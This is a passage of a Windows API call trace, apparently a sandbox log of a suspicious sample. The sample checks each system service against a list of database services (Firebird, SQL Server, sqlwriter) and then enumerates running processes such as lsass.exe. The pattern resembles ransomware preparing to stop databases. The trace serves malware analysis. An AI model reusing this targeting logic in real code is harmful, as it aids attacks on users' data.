	[0161.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0161.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0161.535] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0161.535] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0161.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0161.535] lstrlenW (lpString="CryptSvc") returned 8
	[0161.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0161.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0161.536] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0161.536] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0161.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0161.536] lstrlenW (lpString="DcomLaunch") returned 10
	[0161.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0161.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0161.536] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0161.536] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0161.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0161.536] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0161.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0161.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0161.536] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0161.536] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0161.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0161.536] lstrlenW (lpString="Dhcp") returned 4
	[0161.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0161.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0161.536] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0161.536] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0161.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0161.537] lstrlenW (lpString="DmEnrollmentSvc") returned 15
	[0161.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DmEnrollmentSvc") returned 1
	[0161.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DmEnrollmentSvc") returned 1
	[0161.537] lstrcmpiW (lpString1="sqlwriter", lpString2="DmEnrollmentSvc") returned 1
	[0161.537] lstrcmpiW (lpString1="mssqlserver", lpString2="DmEnrollmentSvc") returned 1
	[0161.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DmEnrollmentSvc") returned 1
	[0161.537] lstrlenW (lpString="Dnscache") returned 8
	[0161.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0161.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0161.537] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0161.537] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0161.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0161.537] lstrlenW (lpString="DPS") returned 3
	[0161.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0161.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0161.537] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0161.537] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0161.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0161.537] lstrlenW (lpString="DusmSvc") returned 7
	[0161.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0161.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0161.537] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0161.537] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0161.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0161.537] lstrlenW (lpString="EventLog") returned 8
	[0161.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0161.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0161.537] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0161.537] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0161.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0161.537] lstrlenW (lpString="EventSystem") returned 11
	[0161.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0161.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0161.537] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0161.537] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0161.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0161.538] lstrlenW (lpString="FontCache") returned 9
	[0161.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0161.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0161.538] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0161.538] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0161.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0161.538] lstrlenW (lpString="gpsvc") returned 5
	[0161.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0161.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0161.538] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0161.538] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0161.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0161.538] lstrlenW (lpString="iphlpsvc") returned 8
	[0161.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0161.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0161.538] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0161.538] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0161.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0161.538] lstrlenW (lpString="KeyIso") returned 6
	[0161.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0161.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0161.538] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0161.538] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0161.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0161.538] lstrlenW (lpString="LanmanServer") returned 12
	[0161.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0161.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0161.538] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0161.538] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0161.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0161.538] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0161.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0161.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0161.538] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0161.539] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0161.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0161.539] lstrlenW (lpString="lfsvc") returned 5
	[0161.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0161.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0161.539] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0161.539] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0161.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0161.539] lstrlenW (lpString="lmhosts") returned 7
	[0161.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0161.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0161.539] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0161.539] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0161.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0161.539] lstrlenW (lpString="LSM") returned 3
	[0161.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0161.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0161.539] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0161.539] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0161.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0161.539] lstrlenW (lpString="MpsSvc") returned 6
	[0161.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0161.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0161.539] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0161.539] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0161.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0161.539] lstrlenW (lpString="NcbService") returned 10
	[0161.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0161.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0161.539] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0161.539] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0161.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0161.539] lstrlenW (lpString="netprofm") returned 8
	[0161.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0161.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0161.540] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0161.540] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0161.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0161.540] lstrlenW (lpString="NgcSvc") returned 6
	[0161.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0161.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0161.540] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0161.540] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0161.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0161.540] lstrlenW (lpString="NlaSvc") returned 6
	[0161.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0161.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0161.540] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0161.540] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0161.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0161.540] lstrlenW (lpString="nsi") returned 3
	[0161.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0161.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0161.540] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0161.540] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0161.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0161.540] lstrlenW (lpString="PcaSvc") returned 6
	[0161.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0161.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0161.540] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0161.540] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0161.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0161.540] lstrlenW (lpString="PlugPlay") returned 8
	[0161.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0161.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0161.540] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0161.540] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0161.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0161.540] lstrlenW (lpString="Power") returned 5
	[0161.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0161.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0161.541] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0161.541] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0161.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0161.541] lstrlenW (lpString="ProfSvc") returned 7
	[0161.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0161.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0161.541] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0161.541] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0161.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0161.541] lstrlenW (lpString="RpcEptMapper") returned 12
	[0161.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0161.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0161.541] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0161.541] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0161.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0161.541] lstrlenW (lpString="RpcSs") returned 5
	[0161.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0161.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0161.541] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0161.541] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0161.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0161.541] lstrlenW (lpString="SamSs") returned 5
	[0161.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0161.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0161.541] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0161.541] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0161.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0161.541] lstrlenW (lpString="Schedule") returned 8
	[0161.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0161.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0161.541] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0161.541] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0161.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0161.541] lstrlenW (lpString="SecurityHealthService") returned 21
	[0161.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0161.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0161.542] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0161.542] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0161.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0161.542] lstrlenW (lpString="SENS") returned 4
	[0161.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0161.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0161.542] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0161.542] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0161.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0161.542] lstrlenW (lpString="ShellHWDetection") returned 16
	[0161.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0161.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0161.542] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0161.542] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0161.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0161.542] lstrlenW (lpString="Spooler") returned 7
	[0161.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0161.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0161.542] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0161.542] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0161.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0161.542] lstrlenW (lpString="StateRepository") returned 15
	[0161.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0161.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0161.542] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0161.542] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0161.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0161.542] lstrlenW (lpString="SysMain") returned 7
	[0161.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0161.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0161.542] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0161.542] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0161.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0161.542] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0161.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0161.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0161.543] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0161.543] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0161.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0161.543] lstrlenW (lpString="Themes") returned 6
	[0161.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0161.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0161.543] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0161.543] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0161.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0161.543] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0161.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0161.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0161.543] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0161.543] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0161.543] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41de9e0 | out: hHeap=0x5a0000) returned 1
	[0161.543] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4b4
	[0161.548] Process32FirstW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0161.548] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0161.548] lstrlenW (lpString="System") returned 6
	[0161.549] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0161.549] lstrlenW (lpString="smss.exe") returned 8
	[0161.549] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0161.549] lstrlenW (lpString="csrss.exe") returned 9
	[0161.549] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0161.550] lstrlenW (lpString="wininit.exe") returned 11
	[0161.550] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0161.550] lstrlenW (lpString="csrss.exe") returned 9
	[0161.550] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0161.551] lstrlenW (lpString="winlogon.exe") returned 12
	[0161.551] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0161.551] lstrlenW (lpString="services.exe") returned 12
	[0161.551] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0161.667] lstrlenW (lpString="lsass.exe") returned 9
	[0161.667] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0161.667] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0161.667] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0161.668] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0161.668] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.668] lstrlenW (lpString="svchost.exe") returned 11
	[0161.668] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.669] lstrlenW (lpString="svchost.exe") returned 11
	[0161.669] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0161.669] lstrlenW (lpString="dwm.exe") returned 7
	[0161.669] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.670] lstrlenW (lpString="svchost.exe") returned 11
